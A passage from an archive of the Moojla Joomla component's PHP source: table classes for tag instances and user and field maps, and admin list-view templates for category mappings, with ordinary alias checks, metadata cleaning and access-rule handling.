$this->setError(JText::_('COM_MOOJLA_TAG_INSTANCE_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('tag_instance',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.tag_instance.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.tag_instance.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/user_field_map.php000064400000020623151165724410011516
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_field_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* User_fields_map Table class
*/
class MoojlaTableUser_field_map extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_user_field_map', 'id',
$db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.user_field_map'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the User_field_map table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New user_field_map. A user_field_map created and created_by field can
be set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('user_field_map',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_USER_FIELD_MAP_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('user_field_map',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.user_field_map.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.user_field_map.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/user_map.php000064400000020505151165724410010352 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* User_maps Table class
*/
class MoojlaTableUser_map extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_user_map', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.user_map'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the User_map table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New user_map. A user_map created and created_by field can be set by
the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('user_map',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_USER_MAP_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('user_map',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.user_map.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.user_map.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
views/categories_map/index.html000064400000000054151165724410012665
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/categories_map/tmpl/default.php000064400000005556151165724410014015
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=categories_map.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'category_mapList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=categories_map');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="category_mapList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_CATEGORIES_MAP_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/categories_map/tmpl/default_batch_body.php000064400000002341151165724410016160
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_CATEGORIES_MAP_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/categories_map/tmpl/default_batch_footer.php000064400000002736151165724410016531
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('category_map.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/categories_map/tmpl/default_body.php000064400000007611151165724410015024
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=categories_map&task=category_map.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('category_map',$item,'categories_map');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->jcatid); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'categories_map.', $canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->jcatid); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->mcatid); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', true,
'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', false,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', true,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'categories_map.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/categories_map/tmpl/default_foot.php000064400000002304151165724410015030
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/categories_map/tmpl/default_head.php000064400000004755151165724410014776
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL', 'a.jcatid',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL', 'a.mcatid',
$this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_CATEGORY_MAP_STATUS');
?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_ID', 'a.id',
